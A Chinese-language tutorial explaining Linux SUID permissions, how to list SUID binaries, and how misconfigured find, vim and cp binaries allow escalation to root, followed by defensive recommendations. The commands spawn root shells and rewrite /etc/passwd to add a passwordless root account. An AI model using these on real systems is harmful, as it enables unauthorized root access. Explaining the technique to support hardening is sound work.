SUID是Linux系统中的一种特殊文件权限,全称为Set User ID。当一个可执行文件被设置了SUID权限后,普通用户执行该文件时,会以文件所有者的身份运行程序,而不是当前用户的身份。最常见的SUID文件是/usr/bin/passwd,普通用户执行它时可以修改自己的密码,实际上是以root身份操作密码文件。如果系统中存在配置不当的SUID文件,就可能被利用来实现权限提升,从普通用户获取root权限。

SUID权限的基础概念
Linux的文件权限分为读、写、执行三种基础权限,还有三种特殊权限:SUID、SGID、SBIT。SUID的权限标识是在文件所有者的执行权限位上显示s,如果原本有执行权限显示s,没有执行权限则显示S。
可以通过ls -l命令查看文件的权限,例如查看passwd文件的权限:
ls -l /usr/bin/passwd # 输出示例:-rwsr-xr-x 1 root root 68208 Jul 15 2022 /usr/bin/passwd # 其中所有者的执行位为s,说明设置了SUID权限
查找系统中存在SUID权限的文件
要利用SUID提权,首先需要找到系统中所有设置了SUID权限的文件。可以使用find命令进行全局搜索,命令如下:
# 查找所有SUID权限的文件,排除/proc和/dev目录减少干扰 find / -perm -4000 -type f 2>/dev/null | grep -v -E "^(/proc|/dev)"
命令参数说明:
-perm -4000:匹配权限中包含SUID位的文件,4000是SUID的八进制表示-type f:只查找普通文件,排除目录等其他类型2>/dev/null:将错误输出重定向到空设备,避免无权限访问的报错干扰结果grep -v -E "^(/proc|/dev)":排除/proc和/dev目录下的文件,这些目录下的SUID文件通常是系统正常运行所需,没有利用价值
常见的SUID提权利用场景
利用find命令提权
如果find命令被设置了SUID权限,由于find命令支持执行外部命令,就可以通过它来启动一个root权限的shell。
# 先确认find是否有SUID权限 ls -l /usr/bin/find # 如果有SUID权限,执行以下命令提权 find . -exec /bin/bash -p ;
执行后如果成功,会得到一个root权限的bash shell,可以通过whoami命令验证当前用户是否为root。
利用vim等编辑器提权
如果vim、nano等编辑器被设置了SUID权限,可以启动编辑器后直接执行shell命令,获取root权限。
# 确认vim是否有SUID权限 ls -l /usr/bin/vim # 启动vim后,在命令模式下执行以下命令 :!/bin/bash
执行后就会弹出root权限的bash shell。
利用cp、mv等文件操作命令提权
如果cp或者mv命令有SUID权限,可以将/etc/passwd或者/etc/shadow文件复制到普通用户可操作的目录,修改后覆盖原文件,添加root权限的用户,从而实现提权。
# 复制passwd文件到当前目录 cp /etc/passwd ./ # 编辑passwd文件,添加一行:test::0:0:test:/root:/bin/bash # 再将修改后的文件覆盖回去 cp passwd /etc/passwd # 切换用户test,即可获得root权限 su test
SUID提权的防御措施
要避免SUID提权风险,可以采取以下措施:
- 定期使用find命令排查系统中的SUID文件,确认所有SUID文件的设置都是必要的
- 不要给普通用户可执行的程序随意设置SUID权限,尤其是find、vim、cp这类功能强大的工具
- 遵循最小权限原则,普通用户不需要的操作权限不要开放
- 及时更新系统补丁,避免已知的SUID利用漏洞被攻击者利用